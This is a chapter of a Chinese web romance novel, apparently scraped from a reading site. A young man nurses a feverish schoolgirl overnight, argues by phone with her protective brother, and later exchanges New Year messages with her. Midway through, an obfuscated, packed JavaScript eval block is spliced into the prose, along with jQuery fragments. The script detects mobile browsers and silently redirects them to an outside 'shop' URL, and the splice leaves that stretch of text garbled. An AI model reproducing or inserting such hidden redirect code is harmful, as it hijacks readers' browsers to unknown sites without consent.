60. 心有恍惚
作品:《刮风这天》 「Chapterfifty-nine」
-
越娉婷睡晕了,不知道自己睡了多久。
再醒的时候,外面已经艳阳高照了,这是经海雪天之后唯一一次出太阳。
好像那段时间一直在学校里,她睡也睡不好,早起要去上早读,晚上有晚自习还要复习,每天都困成猪头。
这绝对是睡得最好的一次。
从床上坐起来揉了揉眼睛,四处望了望,没有人。
他去哪了?
越娉婷没多想,赶紧从床上爬起来,摸了摸身上,衣服还是昨天的。
刚走到门口,抬眼,看到那头小客厅里,边岱坐在沙发上,正面无表情地拿勺子舀粥,她的手机就这么被他堂而皇之的放在面前的茶几上,里面正接连不断地爆发暴怒声。
“边岱!!!你到底把我妹弄哪去了!我告诉你,你明天散学式要是敢回学校我直接找人弄你你信不信!有本事出来打架!!你绑架小姑娘你知不知道丢人啊你!”
“出来决一死战!!”
越娉婷:“……”
她扶了扶额,简直不敢想象昨天晚上就在这留宿了一晚,徐颂得给边岱和她打了多少个骚扰电话。
边岱不急不缓地把粥舀进碗里,然后来回上下看了看,确定没有洒出来的,才放到茶几上。
“你有没有在听我说话!啊?我给你下战书呢你能不能尊重一下我啊!”
“在听。”很无奈的回复了。
徐颂突然冷静了一秒,又开始全开麦了:“你TM的这么冷静什么意思啊?你是不是对我妹做了什么见不得人的事?你赶紧把她手机还给她!我告诉你我马上报警,我马上让警察把你绳之以法你信不信?”
边岱放了点红糖到白粥里,一边说:“能有什么见不得人的事?”
没等对面说,他简单表达了一句:“一个屋里睡了一觉而已,你至于这么激动?”
“……”
“你妈的……”徐颂又开始无穷无尽的输出,越娉婷在远处看着,有点生无可恋。
不过边岱这个表达有点意思。
真是人在家中睡,锅从天上来,她也确实只是跟他在一个屋里睡了一觉而已,还是她睡床他随便找地儿眯的,边岱这个人还是很分寸的,不多进一步,也不多让一步,倒是徐颂,怎么这么容易气火攻心被别人牵着鼻子跑。
越娉婷走过去。
边岱已经在试图理解徐颂奇形怪状的骂人语言了,抬眼,看她睡眼惺忪的过来。
“醒了?”
对面骂停了。
越娉婷没什么气色,愣愣地看着他,点了点头。
“去洗脸,有备用牙膏牙刷,我弄好了,你直接去卫生间吧。”
这话很私人了,徐颂开始输出:“你这个畜生!我绝对不可能放过你!”
越娉婷脸色还难看的很,精神没养回来,没管那头怎么闹,听他说完话就往卫生间走了。
徐颂还在这边警告边岱,他最后撂了一句人没事,就挂了电话。
卫生间那边响起水声,边岱看过去。
她的身形影影倬倬。
越娉婷昨天晚上发烧烧得厉害,烧到半夜把他折腾醒了,明明他给她降了温,哪成想温度突然回升,脸都烧红了。
他起身,特地半夜冒雪去买了退烧药,回来的时候带着一身潮湿的雪片。
烧了水给她冲药,冲剂一般都苦,越娉婷半醒不醒地被他拉起来,靠在床头,喂药。
两下三下强迫才喝下去,闭着眼睛瘪着嘴,一副吃到毒药了的表情。
边岱突然想到什么,他起身,去书桌抽屉里拿。
一颗桃子味的果糖。
剥了纸,她递到她嘴边,小女生还是紧抿着唇。
“吃糖。”
“桃子味,不是苹果味。”
她好像对这东西有心灵感应,即使闭着眼睛,也能乖乖张开嘴,把糖吃进嘴里,紧接着抿了抿嘴,满意地舒了眉。
边岱看她喝完药了,又重新给她换了张退烧贴,越娉婷始终昏昏沉沉的,也没睁眼。
“躺下,睡觉。”
说着要把她放下来,越娉婷好似不太愿意,双手一伸,抱住他的脖子,往上一覆,收缩压紧,她的脑袋紧紧缩在他颈窝处。
“不…”
“不吵架…”
边岱身体僵地绷直,不自然地被她抱着,却有温暖的细流沿着血液在流淌。
她还在软软地念叨着。
边岱睫羽一敛,垂下一段神伤的阴影,
“你跟我,怎么会不吵架。”
越娉婷嘴唇翕合,话不变,酥酥麻麻的气息在他脖颈处喷洒,扬起一股热,他抖了抖视线,微微松开她,敛眸落到她脸上。
小姑娘双颊泛着红晕,鬓角冷汗初浮,睫毛上染着湿润的水汽,连呼吸都带着滚烫的热气。
“火气这么旺。”
边岱心里一抽一抽的,难以言喻的湿热在心里跟那股寒冷交触,碰撞,撕扯,交融。
他鬼使神差地抬了手,慢慢地,靠近她,而后贴到她脸上,碰到那一股热流之后又微微怔,接着捏起一块肉,轻轻掐了掐。
几秒后。
他手指也停住。
沉默地看着她。
怎么会这样,他怎么还是会这样对她做一些奇怪的举动。
难道没有心,他还能对她…
越娉婷好像感觉到了,微微蹙了蹙眉,一搡,给他搡开,紧接着又蹭到他怀里抱住他。
“不吵架…”
边岱悬在半空的手晾了晾,又暗暗地收了手。
思绪回来,越娉婷已经从卫生间出来了,看到他盯着她这边看,好似在发呆,她疑惑地回头看了看,发现确实是在她这个方向。
越娉婷微微探了探手,在他面前晃了晃。
“你还好吗?”
边岱被他一弄,眸色一亮,悻悻回眼:“没事。”
越娉婷抿了抿唇,点头,在他对面坐下来。
“吃吧,刚才弄的。”边岱把他刚才弄得红糖粥推到她面前。
越娉婷接过,看到热腾腾的粥面,浓稠的米香味搭配红糖,香味飘逸,她赶忙拿勺子喝。
温度刚好,红糖味饱腹,让人心情回暖。
“好喝。”
边岱点头:“好喝喝完。”
越娉婷不让,说喝完真的喝完了。
他没说完,起身,越娉婷见势喊住他:“哎…你干嘛去?”
“有事。”没说什么事。
越娉婷用纸擦了擦嘴,从座位上起来:“那我干嘛去?”
边岱回头睨她:“你当然是回家,不然你哥要报警抓我了。”
越娉婷觉得着笑话好冷,接着说:“那你送我回去吗……”
边岱拿着外套,抖了两下,往身上一披,没说别的,把另一件黑大衣丢给她,直接开了门:“走吧。”
越娉婷微微抿唇,马上跟上来:“来了。”
送人到小区门口,边岱不打算进去了,给徐颂发了消息,让他出来接人,随后就要走。
“哎……”
她欲言又止,边岱一步止步。
越娉婷咬了咬下嘴唇:“你…要是以后不舒服的话,可以直接联系我,我可以给你……”
抱。
或者牵。
边岱似乎直到她要说什么,什么也没多问,点了点头,“嗯”了一声。
“还有啊,你不开心的事,都可以跟我说,”越娉婷知道自己很矫情:“虽然你不喜欢我,但我喜欢你,我情愿的,你别嫌我烦就行。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078298|188681||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“关于,你说你的心在我这里,”越娉婷冥思苦想,最后叹了口气:“我之前是在跟你怄气呢,其实我根本不知道你的心在我身上哪里,也不知道怎么还给你,如果你知道,或者找到答案,你再告诉我,我再还给你。”
边岱陷入沉默。
她确实说的很实诚,越娉婷到底是越娉婷,不知道关于他的诅咒正常,可是他不能坐以待毙,他必须尽快找到拿回心的方法。
越娉婷见他听到了,也就没多说了,回头要往小区里面走。
“越娉婷。”
她一愣,转头:“嗯?”
边岱绕过心的话题,问了上一句。
“为什么我不喜欢你,你也要喜欢我?”
越娉婷觉得他问得很好,但她心里已经有明确答案了。
声音亮堂,直接就说:“因为我的真心不是虚情假意。”
穿堂冷风裹着雪色,冰冰冷冷的刮在他脸上,像利刃在心上划过口子,柔软滚烫的鲜血流出来。
真心。
他敛眸。
不去考虑前因后果了,她情愿的事,所以她成全。
说完,见他没什么话了,越娉婷转身就进了小区。
边岱的背影落寞,默默回归身,冷风交叠里,他冷冽的眸子,看她消失在视野里,心里刺痛得厉害。
很快,也消失在风里。
…
…
越娉婷回家的时候,徐颂正在门口逮她,越娉婷抱着头就往家里冲,何兴庆正焦灼的客厅打电话。
看到她,一愣,这才慌里慌张的把手机关了。
走上前来,左右牵扯的看她:“阿婷,你一晚上都去哪了?”
“叔,我没事的,跟同学玩大了,在酒店睡的。”越娉婷随便编了一句。
何兴庆也没有要拆穿她的意思,拉着她左右转了转,视线瞥到她烂了的卫衣上,上面还遗留着血迹。
“这是什么?你被人欺负了?还是跟人打架了?”
越娉婷看到胳膊,嘴唇张了张,勉强凑出理由:“不小心的跟他们玩,弄到了而已,不打紧的。”
何兴庆着急,拉着她往家里走:“快去处理伤口。”
何兴庆不知道是早就知道还是什么,居然越娉婷没有开口,他就知道家里医药箱在哪里,早早准备好了碘伏,止血纱布,还有棉签。
她也没多想,伸手给他处理。
换完药,越娉婷道了句谢。
“怎么出去玩还受伤了?”
越娉婷摸了摸胳膊,笑了个勉强:“正常嘛,人不可能一辈子不受伤吧,有点小意外不打紧的。”
何兴庆听她如此说,没再多问。
越娉婷见他说完了,说了句休息,回房去了。
进入寒假,明天散学式,越娉婷在家里睡了一下午,傍晚还是被胳膊疼醒的,起来换了个药,不忘给他发消息。
[你在干嘛?]
没指望会回,但是就是回了。
[吃晚饭。]
[吃的什么?]
[西红柿炒饭。]
[我也想吃。]
[想吃自己做。教程链接#]
越娉婷抽了抽嘴角,他还挺贴心。
又说了几句牢骚话,对面都没再回了,她想,她吃晚饭为什么还这么忙。
没多想,休息去了。
对面,经海暴雪封路,公交车停运,边岱背着吉他包从清吧离开,双手冻得通红,他微微拢了拢衣服。
雪越下越大,他找了地儿躲雪,冷气席卷。
手机上全是跨年的信息,遍地烟火,好景祝福。
倏地,越娉婷卡了零点发了消息过来。
[边岱,瑞雪兆丰年,希望你新的一年能幸福,平安,顺遂,不要一个人漂泊了。]

